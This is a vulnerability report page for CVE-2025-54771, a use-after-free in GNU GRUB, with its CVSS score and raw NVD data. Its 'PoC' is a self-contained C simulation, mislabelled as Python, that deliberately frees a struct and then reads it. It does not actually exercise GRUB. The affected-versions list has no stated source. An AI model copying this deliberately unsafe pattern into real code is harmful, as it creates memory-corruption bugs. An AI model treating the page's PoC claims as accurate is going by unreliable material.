Security Vulnerability Report
中文
CVE-2025-54771 CVSS 4.9 MEDIUM

CVE-2025-54771

Published: 2025-11-18 19:15:49
Last Modified: 2026-05-19 16:16:19

Description

A use-after-free vulnerability has been identified in the GNU GRUB (Grand Unified Bootloader). The flaw occurs because the file-closing process incorrectly retains a memory pointer, leaving an invalid reference to a file system structure. An attacker could exploit this vulnerability to cause grub to crash, leading to a Denial of Service. Possible data integrity or confidentiality compromise is not discarded.

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

GNU GRUB < 2.12 (所有受影响版本)
Red Hat Enterprise Linux 多个版本
Debian 相关发行版
Ubuntu 长期支持版本
其他使用GRUB作为引导加载程序的Linux发行版

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * CVE-2025-54771 PoC - GNU GRUB Use-After-Free in file closing * This PoC demonstrates triggering the use-after-free condition * in GRUB's file handling module. * * Note: This requires local access to GRUB command line or * maliciously crafted boot configuration. */ #include <stdio.h> #include <stdlib.h> #include <string.h> /* Simulated GRUB file structure */ typedef struct grub_file { void *data; void *fs; char *name; int size; } grub_file_t; /* Vulnerable file close function - simulates the bug */ void grub_file_close_buggy(grub_file_t *file) { if (file == NULL) return; /* Free the filesystem structure - BUG: pointer not cleared */ if (file->fs != NULL) { free(file->fs); /* Missing: file->fs = NULL; */ } /* Free other resources */ if (file->data != NULL) free(file->data); if (file->name != NULL) free(file->name); /* Free file structure but fs pointer still references freed memory */ free(file); } /* Function that uses the dangling pointer */ void access_filesystem(grub_file_t *file) { /* This simulates accessing the freed fs pointer */ if (file->fs != NULL) { /* Use-after-free: accessing freed memory */ printf("Accessing filesystem at %p\n", file->fs); } } int main() { printf("CVE-2025-54771 PoC - GRUB Use-After-Free\n"); printf("======================================\n\n"); /* Simulate creating a file */ grub_file_t *file = (grub_file_t *)malloc(sizeof(grub_file_t)); file->fs = malloc(256); file->data = malloc(512); file->name = strdup("test.cfg"); file->size = 512; printf("[+] Created file object at %p\n", file); printf("[+] Filesystem pointer: %p\n", file->fs); /* Close file - triggers the bug */ printf("[*] Closing file...\n"); grub_file_close_buggy(file); /* Try to access the closed file - use-after-free */ printf("[!] Attempting to access closed file...\n"); access_filesystem(file); printf("\n[!] Use-after-free triggered - dangling pointer accessed\n"); printf("[!] This can cause crash or undefined behavior\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-54771", "sourceIdentifier": "[email protected]", "published": "2025-11-18T19:15:49.420", "lastModified": "2026-05-19T16:16:19.060", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A use-after-free vulnerability has been identified in the GNU GRUB (Grand Unified Bootloader). The flaw occurs because the file-closing process incorrectly retains a memory pointer, leaving an invalid reference to a file system structure. An attacker could exploit this vulnerability to cause grub to crash, leading to a Denial of Service. Possible data integrity or confidentiality compromise is not discarded."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.4, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-825"}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2025-54771", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2413823", "source": "[email protected]"}, {"url": "https://lists.gnu.org/archive/html/grub-devel/2025-11/msg00155.html", "source": "[email protected]"}, {"url": "http://www.openwall.com/lists/oss-security/2025/11/18/3", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}